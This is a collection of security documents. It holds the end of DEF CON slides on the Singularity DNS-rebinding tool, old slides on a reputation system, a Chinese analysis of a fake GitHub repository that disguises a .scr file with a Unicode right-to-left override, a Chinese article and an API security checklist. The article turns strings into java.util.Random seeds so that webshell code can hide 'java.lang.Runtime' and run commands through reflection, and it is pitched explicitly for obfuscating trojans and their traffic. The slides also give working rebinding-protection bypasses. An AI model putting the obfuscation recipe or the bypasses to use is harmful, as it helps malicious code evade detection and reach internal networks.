all known DNS rebinding protections: ○ Unbound ○ Dnsmasq ○ pfSense ○ OpenWRT ○ OpenDNS (Cisco Umbrella) ● Common recommendations and default configurations do not provide complete protection Common DNS Protections Approaches: ● Block RFC 1918 IP addresses ○ 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 ● Block localhost (127.0.0.0/8) ● Block local (internal) networks ● Block 0.0.0.0/8 Tools: ● Dnsmasq & Unbound widely used ○ pfSense, OpenWRT, home routers (e.g. FRITZ!Box, ASUS) ● Public DNS services ○ OpenDNS: “Block internal IP addresses”: Blocks RFC 1918 IP addresses Dnsmasq ● --stop-dns-rebind : Reject private IP ranges ● --rebind-localhost-ok : Exempt 127.0.0.0/8 from rebinding checks ● This blocks RFC1918 addresses, 0.0.0.0/8, and 127.0.0.0/8 ● localhost is not blocked Unbound ● private-address: Configure specific internal IP address range to be blocked ● This blocks RFC1918 IP addresses ● Does not block 0.0.0.0, 127.0.0.1, and localhost DNS Rebinding Protection Bypass #1: 0.0.0.0 ● Wikipedia: “0.0.0.0 is a non-routable meta-address used to designate an invalid, unknown or non-applicable target” ● Fact: 0.0.0.0 works well on Linux and macOS to access the localhost ● This bypasses protections that block DNS responses of 127.0.0.1 ● Singularity returns a DNS A record: $ dig s-1.2.3.4-0.0.0.0-474794-fs-e.d.rebind.it ;; QUESTION SECTION: ;s-1.2.3.4-0.0.0.0-474794-fs-e.d.rebind.it. IN A ;; ANSWER SECTION: s-1.2.3.4-0.0.0.0-474794-fs-e.d.rebind.it. 0 IN A 0.0.0.0 DNS Rebinding Protection Bypass #2: CNAME ● What if all internal IP addresses are blocked? ● Canonical Name records (CNAME) map one domain name to another ● We return a CNAME DNS record instead of an internal IP address ○ e.g. wiki.nccgroup.com or jenkins.internal.corp.com ● This bypasses protections that block DNS responses of private IP addresses ● The local, internal DNS server will then resolve the CNAME $ dig s-1.2.3.4- wiki.nccgroup.com-123-fs-e.d.rebind.it ;; QUESTION SECTION: ;s-1.2.3.4-wiki.nccgroup.com-123-fs-e.d.rebind.it. IN A ;; ANSWER SECTION: s-1.2.3.4-wiki.nccgroup.com-123-fs-e.d.rebind.it. 9 IN CNAME wiki.nccgroup.com. DNS Rebinding Protection Bypass #2a: localhost ● localhost is a hostname that means this computer ● We return a CNAME (Canonical Name) DNS record of “localhost.” ● This bypasses protections that block DNS responses of 127.0.0.1 $ dig s-1.2.3.4-localhost-123-fs-e.d.rebind.it ;; QUESTION SECTION: ;s-1.2.3.4-localhost-123-fs-e.d.rebind.it. IN A ;; ANSWER SECTION: s-1.2.3.4-localhost-123-fs-e.d.rebind.it. 0 IN CNAME localhost. Hook and Control : interactively browse the victim's internal network after DNS rebinding Experimenting with Proxying without an HTTP Proxy HTTP tools such as BeEF (Browser Exploitation Framework - https://beefproject.com/) and FireDrill (https://www.usenix.org/conference/woot13/workshop-program/presentation/dai) can use a hooked browser via XSS or DNS rebinding as a gateway to otherwise unreachable networks such as home or corporate environments. We know that BeEF requires to configure the attacker browser or operating system to use the BeEF HTTP proxy e.g. “http://beef.attaker.com:3120/”. We do not know how FireDrill does it since its code is unfortunately not available. We implemented browsing of services via a hooked browser in Singularity, without requiring the attacker setting up its browser to use an HTTP proxy for fun. Proxy Architecture Attacker Browser Websocket: connect and wait for instructions Singularity Hooked Target Browser Target Service HTTP: connect and select hooked target browser Proxy Architecture Attacker Browser Singularity Hooked Target Browser Target Service GET /home HTTP/1.1 Websocket: op=”fetch”, args “/home” HTTP: fetch(“home”,{...}) ...and back translate translate Proxying without an HTTP Proxy ● Customized Golang’s RoundTripper https://golang.org/pkg/net/http/#RoundTripper ● Using WS plain text protocol to package fetch() requests and responses - Inflate size of data in transit: len ~= 4/3 of len(message) using base64 encoding. Attacker Browser - Any user agent: Web browser, curl, HTTP inspecting proxy, SQLMap, etc. Dealing with Split Brains: Syncing the state between the attacker and target’s browsers The initial assumption was that we did not have to care about cookies. Our first test case was Duplicati, a backup application which was vulnerable to DNS rebinding attack and has a web interface listening on localhost. Oops. Dealing with Split Brains: Syncing the state between the attacker and target’s browsers Cookies may be used as CSRF tokens or other purposes. For non HttpOnly cookies: ● Read them from target browser => transmit to the Singularity server ● Singularity sets them on the attacker browser for the target domain (the DNS domain constructed by Singularity). For HttpOnly cookies: ● We don’t care - they can’t be read by JS so they cannot be used by JS. ● The target browser handles (receives and transmits) them for us. Dealing with Split Brains: Syncing the state between the attacker and target’s browsers To be able to read cookies from a response to a fetch() request, you must pass the option {credentials: ‘include’} to the fetch() request. If the application requires HTTP authorization (WWW-Authenticate), then we must forego completely about passing cookies, unless we know the credentials in advance and pass them without being challenged for authentication. Why? Let’s test in the next slides Dealing with Split Brains: Syncing the state between the attacker and target’s browsers fetch ('http://127.0.0.1', {credentials: 'include'}) → Authentication dialog box popup in victim’s browser → Victim 🤔 Dealing with Split Brains: Syncing the state between the attacker and target’s browsers fetch ('http://127.0.0.1', {credentials: omit}) → No authentication dialog box → Victim 😌 Demo 2: Hook & Control Scanning for Vulnerable Hosts Services Old World and Cool Hacks (Embedding Images, Measuring Requests Response Time) Many astute attempts to replicate nmap behavior without the power of raw sockets. Often unreliable / do too much for our purposes e.g. we don’t care about whether a SSH port is open or not. Does it speak HTTP? We are interested in DNS rebinding and DNS rebinding deals with the HTTP protocol only (so far). Leveraging Modern APIs and Focusing on What Matters (fetch, abort, HTTP only) Leveraging Modern APIs and Focusing on What Matters (fetch, abort, http only) Solution: ● Wrap in a web worker - distribute scan targets across 4 web workers ● fetch() resource headers with timeout (300 ms) - Don’t bother with resp. body ○ Timeout drives how fast scans can go - how long we hang, waiting for a response ○ When an unhandled protocol (e.g. SSH) or when a port is firewalled (No TCP RST packet) ● Fast for: open HTTP ports, closed ports ● Slower for: firewalled ports, slow HTTP services & possibly specific protocols ● Pro-tip: ○ Use a lower timeout when scanning LAN and/or fast HTTP services. ○ Use higher timeouts when scanning different networks e.g. across VPN. Leveraging Modern APIs and Focusing on What Matters (fetch, abort, http only) Other bits and pieces: ● Use the classical WebRTC IP address leak when available to obtain the IP address of the machine and derive a subnet (Chrome, Firefox). ● fetch ('http://127.0.0.1', {credentials: omit}) → No authentication dialog box → Victim 😌. . Didn’t we cover this before? 🤔 ● Considering performing a second scan pass for potentially slower services (Singularity implementation TODO list). Automation: Service Detection & Exploitation and Orchestrating all the Above Auto Detection and Exploitation of All Things Accessible by the Target Web Browsers ● “Autoattack.html” automation and orchestration sample file ● Customizable ● Permits to leverage all features of Singularity ○ Specific exploitation payload or auto-selection of payload to deliver based on detected service ○ Targets selection + optional detection ○ Ports selection + optional port scanning ○ Default DNS strategy selection + optional detection of best strategy to use in specific cases ○ Various options such as flooding DNS cache, visibly hiding activity etc. ● Future work: more auto-optimization so you don’t have to read the extensive wiki (https://github.com/nccgroup/singularity/wiki) . Choosing the Right Targets 0.0.0.0, "localhost", CNAMES, Weak Host Model ● Mix and match different specifications of same target for reliability, security controls bypass and speed (“0.0.0.0”, “localhost”, “127.0.0.1”). ● Find and use the external IP address to exploit routers / Wifi APs’ internal network facing administration interface (weak end system model - https://www.defcon.org/images/defcon-18/dc-18-presentations/Heffner/DEFCON-18-Heffner-Routers-WP.pdf ) ● Do some homework using OSINT - try to determine the local corporate domains, use a dictionary of service names and specify them as CNAMES e.g. jenkins.internal.corp.com. This is likely to pay off. Service Detection Singularity comes with a number of attack payloads targeting services such as Chrome DevTools Remote Debugger, Amazon AWS instance metadata, Ruby on Rails etc. We recently augmented a number of its payloads with a service detection routine. Selecting the “automatic” payload will instruct Singularity to detect the service and deliver the appropriate attack! Concluding Remarks: There is Only One HTTP Origin How To Protect From DNS Rebinding: Use DNS blacklists Use DNSSec? Use this DNS service provider Use this router/appliance/IPS! How To Protect From DNS Rebinding: Common Wisdom is Not Enough Use DNS blacklists Use DNSSec Use this DNS service provider Use this router/appliance/IPS! ...Do you understand all the subtleties of DNS rebinding? And no, DNSSec does not help at all! How To Really Protect From DNS Rebinding Use TLS on all services, external and internal including localhost (https://blog.filippo.io/mkcert-valid-https-certificates-for-localhost/, https://github.com/FiloSottile/mkcert/releases). Always use authentication. Validate the Host header of HTTP requests for correct values e.g. 127.0.0.1 (whitelisting). The future? https://wicg.github.io/cors-rfc1918/ Demo 3: Automation 1. Portscan 2. Rebind in 3s 3. Auto-detect services 4. Exploit Thank You ● Get the Slides+Notes at: https://bit.ly/Singularity_Defcon27 ● Get Singularity of Origin at https://github.com/nccgroup/singularity ○ DNS server to rebind DNS names to IP addresses ○ HTTP server to serve HTML pages and JavaScript code to targets and to manage the attacks ○ Sample attack payloads: Chrome DevTools, Jenkins, & many more ○ Supports DNS CNAME to evade DNS filtering solutions ○ A simple, fast and efficient HTTP port scanner to identify vulnerable services ○ Attack automation: completely automate the scanning and exploitation ○ Hook & control to exploit victim browser as HTTP proxy to access internal network resources ● Contact us: ○ [email protected][email protected]
pdf
Aura A peer-to-peer reputation system Cat Okita, 2003 Reputation Systems • What is a Reputation System? – Livejournal/Friendster, eBay, Avogato, Slashcode • Why do you care? • What could you use this for? – Establishing trust, performance metrics, meme propagation, spam filtering Challenges • Authentication • Trust • Non-repudiation Design Considerations • Fast, resource efficient • Secure - Difficult to corrupt information or impersonate others • Portable - Easy to use from any location • Simple to use and extend • Independent - not dependant on a centralized server Attacks • Information poisoning – Flooding – Trojans – Identity theft – Impersonation – DoS Implementation • Peer-to-peer – Can also run in collector mode • Reputation Mode – valuation of entity overall (both personal and general) or per template • Gossip Mode – information about other entities A quick check of Reputation • Picking a mailer – Stable, fast, secure? • Finding out about a poster to a mailing list – Crazy, expert, unknown? Configuration • Text-based configuration – Templates for details • Requires use of public key Future Plans • Pretty GUI • Better cross-platform portability • Improved statistical reporting • Implementation of group keys • Trigger automation Finis • Available at: – http://www.geekness.net/tools/aura • Email to: – [email protected] • Questions???
pdf
针对开发人员的钓鱼 下午看到 @wonderkun 分享了一个项目: 此时我还没意识到这个项目的问题,在 clone 之后, Readme.md 的介绍是相当的给力,我想看看它是如 何实现的。 总之看起非常强大,有 gif ,还有支持的功能列表,就和所有的开源 RAT 一样。 究竟是什么? 图标看过去是正常的,看上去和正常 VS 的项目文件一样。 在经过提醒之后,发现这个 VS 的项目文件有点奇怪, Type 为 Screen saver ,文件的后缀名 为 ..sln 。 Screen saver 为 Windows 屏幕保护程序,在用户不活动时,将会触发 屏幕保护程序。 这个文件实际上就是一个 PE ,就是一个可执行文件。 并且伪装了图标。 如何伪装的后缀? 还有一个疑问,它是如何伪装后缀的呢?将文件名复制出来后,完整的文件名是 : 复制出来的时候发现无法选择到 rcs.. 的位置, @wonderkun 说明为 unincode 反转字符 。 参考:不要让“它”迷惑了你的双眼——UNICODE反转字符串 由于插入 Unicode的RLO,导致文本反向排列。 Pantheon V2 HVNCrcs..sln 1 这里的 0x202e 就是 RLO.删除该编码,重新解析: 参考:http://tools.jb51.net/transcoding/chinese2unicode 真实的的文件名为: 执行效果是啥? 沙箱跑一下,emmm ,这个绕过方式有点奇怪,但是有效。 Pantheon V2 HVNCnls..scr 1 扔下 VT : 还是有沙箱检查到了动作: 后续的分析摸了。 好吧,我分析不出来。。。。 小结: Unicode 使用 RLO 反转字符串 反转的字符串使用 scr,非 exe 降低警觉 IDA 直接打开会无法找到文件(也是一个点吧) 项目描述的非常真实,包括 gif,图片, 修改图标,降低警觉 猜测内部的动作 反沙箱,比如使用 cmd 进程来了不断 sleep 反调试。。 使用 discord 和 aws 托管 下一步的 payload (从名字就知道是加密的) 。。。
pdf
1 Java⼩trick之在懵逼中为Random跪下 LxLN 问题 LxLO 解答 LxLO.N 初步解答 LxLO.O 回看问题 LxLP 思考 LxLQ 杂项 LxLS 总结 这个⽉在逛着https://stackoverflow.com突然发现个有点意思的⼀段代码,或者说是有点意思的猴戏 怎么说呢,就是看完以后,不知道为啥⼦,我就在懵逼中跪下了... 为了解决疑问,快速爬起来,我就决定解决这个疑问 先给你们看看这个问题是啥,你们就知道我为何懵逼了 https://stackoverflow.com/questions/15182496/why-does-this-code-using-random-strings- print-hello-world 翻译过来就是⼀句话:下⾯的代码将打印“hello world”,有⼈能解释⼀下吗? ⼤概是这个意思,我也是有道云翻译的.... 0x01 问题 2 给出的代码也超级简单,可以拿idea跑⼀下看看结果 3 Java 复制代码 // 让⼈懵逼的代码 package Test2; import java.util.Random; public class Test1 {    public static void main(String[] args) {        System.out.println(randomString(-229985452) + " " + randomString(-147909649));   }    public static String randomString(int i) {        Random ran = new Random(i);        StringBuilder sb = new StringBuilder();        while (true) {            int k = ran.nextInt(27);            if (k == 0) {                break;           }            sb.append((char) ('`' + k));       }        return sb.toString();   } } // 运⾏结果 hello world 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 4 就问你... 这个代码给你,你第⼀眼看到输出个“hello world”懵逼不懵逼? 懵逼完了以后,就可以开始想想为什么了 先看了⼀眼源码,有点拗⼝,让我有点懒的思考,于是决定去看看⽂章的评论 0x02 解答 0x02.1 初步解答 5 我这么懒的逼,当然是选择看评论拉,看到⼀个⾼赞回答,看看写了啥先 有道翻译是这么说的: 当使⽤特定的种⼦值(seed)(在本例中是 -229985452 与 -147909649 )构 建 java.util.Random 的实例时 那么 java.util.Random 将从指定的种⼦值(seed)开始⽣成随机数 ⽤相同的种⼦值(seed)构建的每⼀个 java.util.Random 对象,每次都会产⽣相同的数字 是不是感觉还是有点懵逼,简单的说就是当这个种⼦值(seed)是固定的时,那么⽣成出来的结果也是固定的 6 这⾥我们做个⼩实验,写⼀段代码,运⾏⼀下,你就会恍然⼤悟说的是啥了 Java 复制代码 // 随机数固定结果测试 package Test2; import java.util.Random; public class Test2 {    public static void main(String[] args) {        randomString(-229985452);        System.out.println("--------------");        randomString(-229985452);   }    private static void randomString(int i) {        Random ran = new Random(i);        System.out.println(ran.nextInt());        System.out.println(ran.nextInt());        System.out.println(ran.nextInt());        System.out.println(ran.nextInt());        System.out.println(ran.nextInt());   } } // 运⾏结果 -755142161 -1073255141 -369383326 1592674620 -1524828502 -------------- -755142161 -1073255141 -369383326 1592674620 -1524828502 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 7 可以发现,我这边在种⼦值(seed)⼀致的情况下,运⾏⼆次的结果返回都是⼀致的 当然读者也可以试试运⾏,你的结果⼀定也是会和我⼀致的 也就是说在使⽤ java.util.Random 时,如果指定的种⼦值(seed)是相同的 那么他们⽣成并返回的其实是看起来是随机的固定数字 8 ⽽且我们都知道 java.util.Random 本身就是⼀个伪随机算法 ⽽当使⽤特定的种⼦值(seed)构建 java.util.Random 的实例时,那就成了⼀个更加伪的伪随机算法了 这么说是因为如果能猜测出,种⼦值(seed)或是种⼦值(seed)泄漏了,那么理论上就可以推测出随机数⽣成 的结果 好了前⾯逼逼那么多,现在也应该知道 java.util.Random 中指定种⼦值(seed)的关键了 现在让读者们,随我在回去看看问题,应该就可以看出来是为啥了 主要看循环⾥⾯的代码即可 先了解个基础的⼩知识,带参的 nextInt(int x) 会⽣成⼀个范围在 0~x(不包含x) 内的任意正整数 现在看 int k = ran.nextInt(27); 这句话,这表示 k 这个变量返回的值⼀定是 [0,26] 内的⼀ 个正整数 if (k == 0) 的意思就是说,如果 k 这个变量,返回 0 就退出循环,这个没啥⼦好说的 在进⾏下⼀步之前,打印看看 int k = ran.nextInt(27); 具体会返回什么 0x02.2 回看问题 9 10 有个印象即可,⽆需特别在意 在看个基础的⼩知识, Java 中的单引号表示字符⼀般是 char 类型 现在看 (char) ('`' + k) 其中 '`' 是个 char 类型,看到 char + int 条件反射的想到 ASC II 码 ⽽且 '`' 的 ASCII 码是 96 并且 k 返回的是 [0,26] 内的⼀个正整数 因此 (char) ('`' + k) 这个代码的范围就是 [96+1,96+26] 去除返回值为 0 的,最终只需要对照着 ASCII 码表,就能看出是对其的那些字⺟了 Plain Text 复制代码 // int k = ran.nextInt(27);两个种⼦值(seed)的返回结果 ---------------- 种⼦值(seed): -229985452 返回值:8 返回值:5 返回值:12 返回值:12 返回值:15 返回值:0 ---------------- 种⼦值(seed): -147909649 返回值:23 返回值:15 返回值:18 返回值:12 返回值:4 返回值:0 ---------------- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 11 到这⾥,对于为什么这⼀段谜⼀样的代码能输出“hello world”,我们已经了然于胸了 看穿了以后,也就是个⼩把戏罢了 然后我就开始想这个东⻄如果拿来写⻢⼦,⽤于关键字混淆什么的,那不是会很棒? 于是就开始思考如何改造最前⾯的demo,让它啥⼦单词都能打出来,因为现在这个代码只能输出“hello world” 所以当务之急是找或写⼀个可以把字符串变成种⼦值(seed)的函数 当然我这么懒,所以我选择了找,然后还真被我找到了 0x03 思考 Plain Text 复制代码 96 + 8 = 104 -> h 96 + 5 =101 -> e 96 + 12 = 108 -> l 96 + 12 = 108 -> l 96 + 15 = 111 -> o 96 + 23 = 119 -> w 96 + 15 = 111 -> o 96 + 18 = 114 -> r 96 + 12 = 108 -> l 96 + 4 = 100 -> d 1 2 3 4 5 6 7 8 9 10 12 拷⻉⼀下,本地试试 13 很好,但是还差点,因为它只能跑 a-z ,这可不太⾏啊 因为我们写⻢的时候,各种特殊符号之类的,可是都要有的,所以还是需要⼀个⼩⼩的改动 14 Java 复制代码 // 最终改动完成的代码 // 注意: 种⼦⽣成的时间,会因为代码的⻓度与复杂度的增加⽽增加 import java.util.*; import java.util.stream.Collectors; public class Test3 {    public static void main(String[] args) {        long start = System.currentTimeMillis();        long[] seedList = generateSeedList("java.lang.Runtime");        for (long seed : seedList) {            System.out.println("种⼦值(seed): " + seed);            System.out.println("对应字符串: " + seedConversionString(seed));            System.out.println("------");       }        System.out.println("种⼦⽣成花费时间: " + (double) (System.currentTimeMillis() - start) / 1000 + "秒");        String data = seedListConversionString(seedList);        System.out.println("种⼦列表转换结果: " + data);   }    /**     * 测试使⽤     * 输出所有字符的种⼦与解析结果     */    public static void test() {        String str = " !\"#$%&'()*+,-./0123456789:;<=>? @ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";        String[] strs = str.split("");        for (String s : strs) {            System.out.println("----");            long dataSeed = generateSeed(s);            System.out.println("种⼦值(seed): " + dataSeed);            System.out.println("对应字符串: " + seedConversionString(dataSeed));            System.out.println("-----");       }   }    /**     * 功能: 输⼊字符串获取种⼦数组     * 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 15     * @param goal 要转为种⼦的字符串     * @return     */    public static long[] generateSeedList(String goal) {        List<String> dataSourceList = Arrays.asList(goal.split(""));        int groupSize = (int) Math.ceil((double) goal.length() / 3);        List<Long> seedList = new ArrayList<>();        for (List<String> stringList : listChunkSplit(dataSourceList, groupSize)) {            long seed = generateSeed(stringList.stream().collect(Collectors.joining("")));            seedList.add(seed);       }        return seedList.stream().mapToLong(t -> t).toArray();   }    /**     * 功能: 输⼊字符串获取种⼦     * 注: 单词越⻓,需要查找的时间就越⻓,个⼈建议1-3个字符为⼀个种⼦,可以基本可以⽆ 感知的快速⽣成种⼦     *     * @param goal 要转为种⼦的字符串     * @return     */    public static long generateSeed(String goal) {        String str = " !\"#$%&'()*+,-./0123456789:;<=>? @ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";        for (String s : goal.split("")) {            if (!str.contains(s)) {                throw new RuntimeException(String.format("%s 该字符,不是符 合条件的字符,请修改", s));           }       }        char[] input = goal.toCharArray();        char[] pool = new char[input.length];        label:        for (long seed = Integer.MIN_VALUE; seed < Integer.MAX_VALUE; seed++) {            Random random = new Random(seed);            for (int i = 0; i < input.length; i++) {                pool[i] = (char) (31 + random.nextInt(96));           }            if (random.nextInt(96) == 0) { 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 16                for (int i = 0; i < input.length; i++) {                    if (input[i] != pool[i]) {                        continue label;                   }               }                return seed;           }       }        throw new NoSuchElementException("对不起该字符串找不到对应的种⼦");   }    /**     * 功能: 将种⼦数组转换字符串     *     * @param is 种⼦数组     * @return     */    public static String seedListConversionString(long[] is) {        StringBuilder dataSource = new StringBuilder();        for (long seed : is) {            dataSource.append(seedConversionString(seed));       }        return dataSource.toString();   }    /**     * 功能: 将种⼦转换字符串     *     * @param i 种⼦     * @return     */    public static String seedConversionString(long i) {        Random ran = new Random(i);        StringBuilder sb = new StringBuilder();        while (true) {            int k = ran.nextInt(96);            if (k == 0) {                break;           }            sb.append((char) (31 + k));       }        return sb.toString();   }    /**     * 列表块分割函数     * 功能: 把列表按照size分割成指定的list快返回     * 例⼦1: 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 17     * a = [1, 2, 3, 4, 5, 6, 7, 8, 9]     * listChunkSplit(a, 2)     * 返回: [[1, 2, 3, 4, 5], [6, 7, 8, 9]]     * 例⼦2:     * a = [1, 2, 3, 4, 5, 6, 7, 8, 9]     * listChunkSplit(a, 10)     * 返回: [[1], [2], [3], [4], [5], [6], [7], [8], [9]]     *     * @param dataSource 数据源     * @param groupSize ⼀个整数, 规定最多分成⼏个list     * @return List<List < String>>     */    public static List<List<String>> listChunkSplit(List<String> dataSource, Integer groupSize) {        List<List<String>> result = new ArrayList<>();        if (dataSource.size() == 0 || groupSize == 0) {            return result;       }        // 偏移量        int offset = 0;        // 计算 商        int number = dataSource.size() / groupSize;        // 计算 余数        int remainder = dataSource.size() % groupSize;        for (int i = 0; i < groupSize; i++) {            List<String> value = null;            if (remainder > 0) {                value = dataSource.subList(i * number + offset, (i + 1) * number + offset + 1);                remainder--;                offset++;           } else {                value = dataSource.subList(i * number + offset, (i + 1) * number + offset);           }            if (value.size() == 0) {                break;           }            result.add(value);       } 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 18 有了上⾯的代码以后,我们就可以写⼀个最最简单的混淆⻢⼦了        return result;   } } // 运⾏结果 种⼦值(seed): -2080435608 对应字符串: jav ------ 种⼦值(seed): -2060785532 对应字符串: a.l ------ 种⼦值(seed): -2147149194 对应字符串: ang ------ 种⼦值(seed): -2107467938 对应字符串: .Ru ------ 种⼦值(seed): -1949527326 对应字符串: nti ------ 种⼦值(seed): -2146859157 对应字符串: me ------ 种⼦⽣成花费时间: 21.273秒 种⼦列表转换结果: java.lang.Runtime 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 19 Java 复制代码 // 这是我能想到的最最最简单的⽤涂了 // 或是拿来对哥斯拉的流量加密感觉也是可以的 // 其它的⾃⼰发挥想象吧 import org.apache.commons.io.IOUtils; import java.io.InputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.Random; public class ExecCmdTest {    public static void main(String[] args) {        try {            String cmd = "whoami";            // java.lang.Runtime 的 种⼦            // -2080435608 -> jav            // -2060785532 -> a.l            // -2147149194 -> ang            // -2107467938 -> Ru            // -1949527326 -> nti            // -2146859157 -> me            long[] seedList = {-2080435608, -2060785532, -2147149194, -2107467938, -1949527326, -2146859157};            String runtimePath = seedListConversionString(seedList);            // 获取Runtime类对象            Class runtimeClass = Class.forName(runtimePath);            // 获取构造⽅法            Constructor runtimeConstructor = runtimeClass.getDeclaredConstructor();            runtimeConstructor.setAccessible(true);            // 创建Runtime类实例 相当于 Runtime r = new Runtime();            Object runtimeInstance = runtimeConstructor.newInstance();            // 获取Runtime的exec(String cmd)⽅法            Method runtimeMethod = runtimeClass.getMethod("exec", String.class);            // 调⽤exec⽅法 等于 r.exec(cmd); cmd参数输⼊要执⾏的命令            Process p = (Process) runtimeMethod.invoke(runtimeInstance, cmd); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 20            // 获取命令执⾏结果            InputStream results = p.getInputStream();            // 输出命令执⾏结果            System.out.println(IOUtils.toString(results, "UTF-8"));       } catch (Exception e) {            e.printStackTrace();       }   }    /**     * 功能: 将种⼦数组转换字符串     *     * @param is 种⼦数组     * @return     */    public static String seedListConversionString(long[] is) {        StringBuilder dataSource = new StringBuilder();        for (long seed : is) {            dataSource.append(seedConversionString(seed));       }        return dataSource.toString();   }    /**     * 功能: 将种⼦转换字符串     *     * @param i 种⼦     * @return     */    public static String seedConversionString(long i) {        Random ran = new Random(i);        StringBuilder sb = new StringBuilder();        while (true) {            int k = ran.nextInt(96);            if (k == 0) {                break;           }            sb.append((char) (31 + k));       }        return sb.toString();   } } 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 21 有关 ASCII 码表的内容可以看这⼀篇⽂章 https://www.yuque.com/pmiaowu/ppx2er/kfvuhv ⾥⾯详细记录了ASCII码对应字符 偶尔能看看猴戏还是挺有意思的说 0x04 杂项 0x05 总结
pdf
API接口安全checklist 身份认证 不要使用 ,请使用标准的认证协议(如 , )。 Basic Auth JWT OAuth 不要重新实现 、 和 ,请使用标准库。 Authentication token generating password storing 限制密码错误尝试次数,并且增加账号冻结功能。 加密所有的敏感数据。 JWT(JSON Web Token) 使用随机复杂的密钥( )以增加暴力破解的难度。 JWT Secret 不要在请求体中直接提取数据,要对数据进行加密( 或 )。 HS256 RS256 使 token 的过期时间尽量的短( , )。 TTL RTTL 不要在 JWT 的请求体中存放敏感数据,因为它是 。 可解码的 OAuth 授权或认证协议 始终在后台验证 ,只允许白名单的 URL。 redirect_uri 始终在授权时使用有效期较短的授权码(code)而不是令牌(access_token)(不允许 )。 response_type=token 使用随机哈希数的 参数来防止跨站请求伪造(CSRF)。 state 对不同的应用分别定义默认的作用域和各自有效的作用域参数。 访问 限制流量来防止 DDoS 攻击和暴力攻击。 在服务端使用 HTTPS 协议来防止 MITM (中间人攻击)。 使用 协议防止 SSL Strip 攻击。 HSTS 输入 使用与操作相符的 HTTP 操作函数, , , 以及 ,如果请求的方法不适用于请求的资源则返回 。 GET) POST PUT/ DELETE 405 Method Not Allowed 在请求头中的 字段使用内容验证来只允许支持的格式(如 , 等等)并在不满足条件的时候 content-type application/xml application/json 返回 。 406 Not Acceptable 验证 中申明的编码和你收到正文编码一致(如 , , content-type application/x-www-form-urlencoded multipart/form-data applica 等等)。 tion/json 验证用户输入来避免一些普通的易受攻击缺陷(如 , ,等等)。 XSS SQL- 不要在 URL 中使用任何敏感的数据( , , ,or ),而是使用标准的认证请求头。 credentials Passwords security tokens API keys 使用一个 API Gateway 服务来启用缓存、限制访问速率(如 , , )以及动态地部署 APIs Quota Spike Arrest Concurrent Rate Limit resources。 处理 检查是否所有的接口都包含必要都身份认证,以避免被破坏了的认证体系。 避免使用特有的资源 id。使用 替代 。 /me/orders /user/654321/orders 使用 代替自增长的 id。 UUID 如果需要解析 XML 文件,确保实体解析(entity parsing)是关闭的以避免 攻击。 XXE 如果需要解析 XML 文件,确保实体扩展(entity expansion)是关闭的以避免通过指数实体扩展攻击实现的 。 Billion Laughs/XML bomb 在文件上传中使用 CDN。 如果数据处理量很大,尽可能使用队列或者 Workers 在后台处理来避免阻塞请求,从而快速响应客户端。 不要忘了把 DEBUG 模式关掉。 输出 增加请求返回头 。 X-Content-Type-Options: nosniff 增加请求返回头 。 X-Frame-Options: deny 增加请求返回头 。 Content-Security-Policy: default-src 'none' 删除请求返回中的指纹头 - , , 等等。 X-Powered-By Server X-AspNet-Version 在响应中遵循请求的 ,如果你的请求类型是 那么你返回的 就是 。 content-type application/json content-type application/json 不要返回敏感的数据,如 , , 。 credentials Passwords security tokens 给请求返回使用合理的 HTTP 响应代码。(如 , , , 等等)。 200 OK 400 Bad Request 401 Unauthorized 405 Method Not Allowed 持续集成和持续部署 使用单元测试以及集成测试的覆盖率来保障你的设计和实现。 引入代码审查流程,禁止私自合并代码。 在推送到生产环境之前确保服务的所有组件都用杀毒软件静态地扫描过,包括第三方库和其它依赖。 为部署设计一个回滚方案。
pdf
